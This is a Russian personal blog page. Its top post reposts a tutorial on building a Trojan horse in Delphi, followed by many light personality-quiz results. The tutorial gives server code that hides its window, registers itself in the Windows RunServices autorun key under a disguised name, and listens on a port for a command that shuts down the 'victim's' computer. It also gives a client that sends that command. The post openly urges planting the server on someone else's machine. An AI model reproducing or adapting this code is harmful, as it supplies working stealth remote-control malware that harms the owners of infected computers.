-Подписка по e-mail

 

 -Поиск по дневнику

Поиск сообщений в _N_U_T_S_

 -Сообщества

Читатель сообществ (Всего в списке: 4) axeeffect_ru Интересная_критика Photoshopinka Tokio-Hotel_rus

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 07.02.2008
Записей: 179
Комментариев: 75
Написано: 377




Piccy.info - Free Image HostingLife-Lyrics | ЖЕНСКИЙ ПОРТАЛ | Яркие кусочки жизни

Без заголовка

Среда, 25 Марта 2009 г. 17:09 + в цитатник
Это цитата сообщения IIoZiTiFF [Прочитать целиком + В свой цитатник или сообщество!]

Как создать ТРОЯН!



И так я ыложу тут инфу как создать троян тем кто нех не шарит в компах прошу етого не делать потому 4то стоко их наплодите что комп наф гликница.
Ты уже сто раз слышал это магическое слово «Троян». И мы уже много раз писали обзоры различных коней этой породы. В твоих извилинах, наверно уже давно крутиться мысль о создании собственного боевого коня. Сегодня тебе предстоит эта уникальная возможность. Даже если ты никогда не будешь использовать эти знания, тебе всё равно нужно знать, как работают трояны изнутри.
Для простоты тела мы сделаем это на Delphi. Я выбрал этот язык, потому что тело журнала ограничено, и я не хочу вдаваться в подробности протоколов.
В этом номере ты найдёшь статью, посвящённую написанию супер плеера на Delphi. Если ты её пропустил, то обязательно прочти и возвращайся сюда. Там я описал основные принципы работы с оболочкой компилятора, так что здесь повторяться не буду.

Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов, и ближе к телу.

Троянский сервер:
Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект («File» – «New Application»). Сейчас мы примемся за серверную часть трояна.

Для начала выбери пункт меню «Options» из меню «Project». Перед тобой будет окно, как на рисунке 1.

Здесь ты должен перенести «From1» из раздела «Auto-Create forms» (список слева) в «Available forms» (список справа), как это сделано у меня. Только что мы отключили From1 из списка авто инициализируемых форм. Теперь инициализацию придётся произвести вручную. Не пугайся, это очень просто.

На странице «Application» этого же диалога есть кнопка «Load Icon». Нажми её, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячая, а она быстро выдаст твоё смертельное оружие.

Теперь ты должен бросить на форму компонент ServerSocket из раздела «Internet», это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство «Port». По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).

Теперь щёлкни в любом месте на форме, чтобы активизировать её свойства. Перейди в ObjectInspector и щёлкни по закладке Events. Дважды щёлкни по строке «OnCreate» и Delphi, как всегда, создаст процедуру, она будет выполняться при инициализации формы. Напиши там следующее:

procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

Теперь перейди в начало текста и напиши после «uses» слово «registry». Мы уже делали такую операцию в статье про мега плеер, но я повторю, как это будет выглядеть:

uses registry, Windows, Messages,

Теперь я объясню, что мы написали в процедуре.

«var RegIni:TRegIniFile» - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром.

«RegIni:=TRegIniFile.Create('Software')» - инициализируем переменную указывающую на реестр.

«RegIni.RootKey:=HKEY_LOCAL_MACHINE» говорим, что нас интересует раздел HKEY_CURRENT_USER реестра.

«RegIni.OpenKey('Software', true)» - открываю подраздел «Software».

Дальше я последовательно открываю подразделы, пробираясь в недра окошек.

«RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName)” – записываю в раздел «RunServices» (в этом разделе хранятся проги, которые автоматически загружаются при старте), новый параметр с именем «Internat32.exe» (имя будущего файла) и значением Application.ExeName (здесь храниться полный путь к запущенному трояну).

«RegIni.Free» - уничтожаю ненужный больше объект RegIni.

Всё это делалось, чтобы при запуске проги, она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память.

Самая последняя строка «ServerSocket1.Active:=true» запускает сервер на указанном тобой порте.

С загрузкой покончено. Теперь давай займёмся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щёлкни по строке «OnDistroy». Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:

procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;

Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключён к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищённости его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не надо (забегу вперёд и скажу, что мы сами будем перегружать компьютер жертвы).

Теперь нужно выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щёлкни по строке «OnClientRead» и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText ='R' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;

Теперь, как это звучит по-нашему:

Если полученный текст = букве ‘R’ то
Отправить компьютер в редаун.

ExitWindowsEx – редаун заставит окна свернуться и отключить компьютер от питания. Я вообще добрый дядька, поэтому использовал параметр EWX_SHUTDOWN. С этим параметром, перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои изменённые данные. Если ты злей меня, то используй EWX_FORCE. В этом случае, компьютер упадёт без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортит :).

Троян практически готов, сохрани его. Для этого выбери «Save All» из меню «File». С начала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми «Сохранить». Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его «Internat32», чтобы файл не вызывал особых подозрений.

Конюшня для коня:
Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню «Project Manager» из меню «View». Перед тобой откроется окно, как на рисунке 2.

Щёлкни правой кнопкой по Internat32.exe и в появившемся меню выбери «View Source». Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь с этим текстом, и допиши то, чего не хватает, а что лишнее – убери (так не так уж и много):

program Internat32;

uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;

WhEvent:=CreateEvent(nil, true,false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.

Будь внимателен при переписывании. Всё должно быть один к одному. Теперь я расскажу, что здесь написано:

В самом начале нет ничего интересного, и нас абсолютно не касается. Нас интересует всё, что написано после слова «Var».

WhEvent:THandle – Этим я говорю, что мне нужен указатель WhEvent на пустое событие Thandle.

Application.Initialize – Инициализируется троян.

ShowWindow(Application.Handle, SW_Hide) – Устанавливаю параметры окна. Параметр SW_Hide – говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть, так это нажать Ctrl+Alt+Del. Но здесь у нас используется не вызывающее подозрения (только у чайника, профи уже давно знают, о таком имени) имя.

Form1:=TForm1.Create(nil) – создаю форму. Мне приходится это делать так, потому что мы убрали форму из из списка авто создаваемых.

Application.Run – запускаю трояна. Здесь запускаются обработчики событий и прочая ерунда, за которую отвечает Delphi и которую пришлось бы писать вручную на С или С++. А здесь всё очень просто.

WhEvent:=CreateEvent(nil, true,false, 'et') – инициализация пустого события.

Следующие пять строчек я напишу словами, а ты разберёшься как всегда методом сравнения:

Пока (true) выполнять
Начать цикл
Ждать пока наступит событие (пустое событие, 1000 миллисекунд)
Получить управление
Закончить цикл

Две строчки между началом и концом цикла будет выполняться бесконечно, потому что true оно всегда true, и из этого цикла выхода нет. Весь цикл заключаеться в двух особенностях:

1. Запускается ожидание несуществующего события. Так как событие не существует, то программа прождёт его ровно указанное время в качестве второго параметра (1000 миллисекунд или 1 секунда).

2. Получить управление.

После второго шага программа снова перейдёт на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда трояну (каждую 1 секунду) передаётся управление, то наш конь проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно – приход на указанный тобой порт управляющей команды. Если сообщения есть, то троян их выполняет. И в любом случае (есть сообщения или нет), после этого пользователь снова работает 1 секунду без проблем. Проверка происходит так быстро, что жертва не ощутит нагрузки трояна даже на четверке с сотым камнем.

Нажми «Ctrl+F9» чтобы Delphi создал .ехе файл без запуска проги. Как только Delphi перемозгует весь код, можешь считать, что серверная часть готова. Если вздумаешь её тестировать, то не забудь, что после первого же запуска троян пропишется в реестре по адресу: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices. Не забудь после тестирования его удалить.

Теперь переходим к клиентской части, которую ты должен будешь запустить на своём компьютере для управления компьютером жертвы.

Троянский всадник:
Снова сохрани все изменения и создай новый проект. Пришло время писать клиентскую часть трояна. Ещё пару минут напряжённого труда и все красавицы наши :).

На новый проект ты должен бросить три компонента:

1. Button из закладки «Standart» для отправки команды на компьютер жертвы.

2. Edit из закладки «Standart» для ввода имени или адреса жертвы.

3. ClientSocket из закладки «Internet» клиент порта для связи с сервером

Посмотри на рисунок 3, у тебя должно получиться нечто похожее.

Выдели ClientSocket1 и в ObjectInspector-е измени свойство порт. По умолчанию он 0, а ты должен поставить тот, который ты назначил серверу.

Теперь дважды щёлкни по кнопке и в созданной процедуре (обработчике нажатия кнопки) напиши следующее.

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText('R');
ClientSocket1.Active:=false;
end;

ClientSocket1.Host:=Edit1.Text – В ClientSocket1 заносим имя жертвы в твоей локалке. Если собираешься использовать троян в инете, то там ты имя никак не сможешь узнать. Тебе придётся использовать IP адрес, а значит эта строчка замениться на ClientSocket1.Addres:=Edit1.Text. И вводить в Edit1 ты должен будешь IP адрес.

ClientSocket1.Active:=true – активировать соединение с сервером.

ClientSocket1.Socket.SendText('R') – отправить букву R. Помнишь, что у нас было пару минут назад. Если сервер получит букву R, то он перегрузит машину.

ClientSocket1.Active:=false – закрыть соединение с сервером.

Всё. Троян готов к бою. Нажми «Ctrl+F9» чтобы Delphi создал ЕХЕ файл без запуска проги. Найди жертву и протестируй своего верного коня. Для этого нужно запустить серверную часть на компьютере жертвы. Потом запустить клиентскую часть на своём компьютере. Ввести в клиент имя компьютера жертвы (или адрес, если ты скомпилировал под использование через IP) и нажать кнопку. Компьютер жертвы должен перегрузится.

<--Троян ето вещь

Результат теста "Твой образ (для девушек)"

Суббота, 21 Марта 2009 г. 01:30 + в цитатник
Результат теста:Пройти этот тест
"Твой образ (для девушек)"

Играешь свою роль.

Ты-такая, какой должна быть.
Где-то легкомысленная, где-то серьезная.
Ты играешь свою роль, не смотришь на поведение других.
Ты-именно такая, и другой не будешь.
Психологические и прикольные тесты LiveInternet.ru


Понравилось: 27 пользователям

Результат теста "Какая ты девочка?"

Суббота, 21 Марта 2009 г. 01:27 + в цитатник
Результат теста:Пройти этот тест
"Какая ты девочка?"

Ты заботливая, верная, просто идеальнная жена или же девушка!

Психологические и прикольные тесты LiveInternet.ru

Результат теста "Кто ты из кошачих?"

Суббота, 21 Марта 2009 г. 01:25 + в цитатник
Результат теста:Пройти этот тест
"Кто ты из кошачих?"

Лев(левица).Увас всё под контролем.

Ни для кого не секрет,что львы владыки.Вы всегда стремитесь к первенству.Ето похвально.Поздравляю!Ето хорошая позицыя!!!
Психологические и прикольные тесты LiveInternet.ru

Результат теста "Твоя национальность...магическая."

Пятница, 06 Марта 2009 г. 00:12 + в цитатник
Результат теста:Пройти этот тест
"Твоя национальность...магическая."

Светлый эльф

Ты безусловно хорошо понимаешь людей, творишь добро, но тебе не хватает отдачи!
Психологические и прикольные тесты LiveInternet.ru

Результат теста "какая професия тебе подходит"

Пятница, 06 Марта 2009 г. 00:08 + в цитатник
Результат теста:Пройти этот тест
"какая професия тебе подходит"

ветеренар ето твое призвание

любиш лечить животных и ухаживать за ними
Психологические и прикольные тесты LiveInternet.ru

Без заголовка

Понедельник, 16 Февраля 2009 г. 17:45 + в цитатник
Это цитата сообщения alexjdanov [Прочитать целиком + В свой цитатник или сообщество!]

Часики



Прикольные часики, решил удивить народ ))




как вам? :)
забирайте  в цитатник - кому понравилось.... ))


Результат теста "Как ты добиваешься внимания? (для девушек)"

Среда, 11 Февраля 2009 г. 23:41 + в цитатник
Результат теста:Пройти этот тест
"Как ты добиваешься внимания? (для девушек)"

Избегаешь лишнего внимания

Ты очень чувствительная и тихая девушка. Стараешься избегать случайных знакомств и мечтаешь о настоящем счастье. У тебя неплохо получается отличать нужных и важных людей от пустых и заносчивых, но ты не можешь с ними сблизиться. Постарайся сделать так, чтобы твою исключительность заметили окружающие. Бывает достаточно улыбнуться, чтобы обратить на себя внимание и показать другим людям, что ты готова общаться.
Психологические и прикольные тесты LiveInternet.ru

Результат теста "Тест о том, как вы целуетесь)"

Среда, 11 Февраля 2009 г. 23:35 + в цитатник
Результат теста:Пройти этот тест
"Тест о том, как вы целуетесь)"

Романтик...

В личной жизни вы следуете правилу: «Не целуйся без любви!» А т.к. большая и чистая любовь приходит не каждый день, вам чаще приходится мечтать о поцелуях, чем наслаждаться ими на практике.
Психологические и прикольные тесты LiveInternet.ru

Результат теста "Какой стиль те больше потходит"

Среда, 11 Февраля 2009 г. 23:33 + в цитатник
Результат теста:Пройти этот тест
"Какой стиль те больше потходит"

Гот

Ну и что тут плохого?
Психологические и прикольные тесты LiveInternet.ru

Результат теста "Ваше отношение к геям? (Тест для мужчин.)"

Среда, 11 Февраля 2009 г. 20:30 + в цитатник
Результат теста:Пройти этот тест
"Ваше отношение к геям? (Тест для мужчин.)"

Вам интересен человек, а не его пол.

Вы не зациклины на каких-либо "нормах". У Вас есть свои "внутренние" принципы, которые Вы не считаете нужным нарушать. Вы можете спать как с женщиной, так и с мужчиной. Можете любить женщину, можете любить мужчину, можете любить себя, можете вообще никого не любить... Вам до многого нет дела, возможно потому, что Вы больше многих других понимаете в том, что происходит вокруг Вас. Это не дает Вам каких-либо конкретных знаний, но создает иллюзию свободы.
Психологические и прикольные тесты LiveInternet.ru

Результат теста "твой внутрений стих"

Воскресенье, 25 Января 2009 г. 11:39 + в цитатник
Результат теста:Пройти этот тест
"твой внутрений стих"

Любовь

И вот в прозрачной темноте
Её сердечный тихий стук,
И представляя, что во сне,
Совсем погас, совсем потух.

Не будет слёз в её глазах,
В душе не будет пустоты,
Лишь только горький вкус обид
На тех губах, что не целуешь ты.

И не останется она
В том мире скупости и зла,
Где столько лет она жила
Совсем одна и без тебя.

И в день её последний жизни
Ты осознал, как ты любил
И не сберег от скверных мыслей
Её души не сохранил.
Психологические и прикольные тесты LiveInternet.ru

Результат теста "Какой альбом (old)Nightwish вам подходит..."

Пятница, 23 Января 2009 г. 13:01 + в цитатник
Результат теста:Пройти этот тест
"Какой альбом (old)Nightwish вам подходит..."

Настоящий симфо метал, с примесями повера...в оушене есть все что твоей душе угодно!

Психологические и прикольные тесты LiveInternet.ru

Результат теста "Какой ты идеал красоты? (для девушек, с картинками)"

Четверг, 15 Января 2009 г. 22:52 + в цитатник
Результат теста:Пройти этот тест
"Какой ты идеал красоты? (для девушек, с картинками)"

Ты - ВОСТОЧНАЯ КРАСАВИЦА!

Психологические и прикольные тесты LiveInternet.ru

Результат теста "Полюбит ли он тебя???"

Четверг, 15 Января 2009 г. 22:40 + в цитатник
Результат теста:Пройти этот тест
"Полюбит ли он тебя???"

Ты должна постараться чтобы его добиться.

Он кажеться тебе крутым, но ты его достойна. Постарайся и все получится!
Психологические и прикольные тесты LiveInternet.ru

Результат теста "О чём говорят твои глаза?"

Пятница, 09 Января 2009 г. 22:41 + в цитатник
Результат теста:Пройти этот тест
"О чём говорят твои глаза?"

Твои глаза говорят о наивности.

Может быть ты не ребёнок,но твоя наивность,наивность твоих глаз,эта наивность именно детская.Это не плохо-ты добрый человек и это в полной мене замечательно.
Чтобы не забыть об этом,пользуйся взглядом-не мсти,но точно решайся,чтобы твои глаза не заставляли человека умерать и думать,а чтобы они воскрешали и заберали плохие мысли.

Психологические и прикольные тесты LiveInternet.ru

Результат теста "любит ли тебя мужской пол...)"

Четверг, 08 Января 2009 г. 20:01 + в цитатник
Результат теста:Пройти этот тест
"любит ли тебя мужской пол...)"

иногда ты отпугиваешь мужскую половину от себя резкими повадками и своим трудным характером!нужно меняться. становится немного мягче и быть самоуверенной!удачи)

Психологические и прикольные тесты LiveInternet.ru

Результат теста "Какая прическа тебе подойдет ( для девчонок )"

Четверг, 08 Января 2009 г. 19:07 + в цитатник
Результат теста:Пройти этот тест
"Какая прическа тебе подойдет ( для девчонок )"

Леди

Ваш час пробил : простая элегантная укладка в стиле героинь Хичкокаю.Смело копируйте прически мамы и бабушки со старых черно-белых фотографий.
Психологические и прикольные тесты LiveInternet.ru

Результат теста "Ваша военная специализация (в средневековье)"

Четверг, 08 Января 2009 г. 19:00 + в цитатник
Результат теста:Пройти этот тест
"Ваша военная специализация (в средневековье)"

Паладин

Паладин. Вы воин бога, ужас всего зла, помогаете обездоленным и путешествуете по миру в вечном квесте борьбы добра со злом!
Психологические и прикольные тесты LiveInternet.ru


Поиск сообщений в _N_U_T_S_
Страницы: [9] 8 7 ..
.. 1 Календарь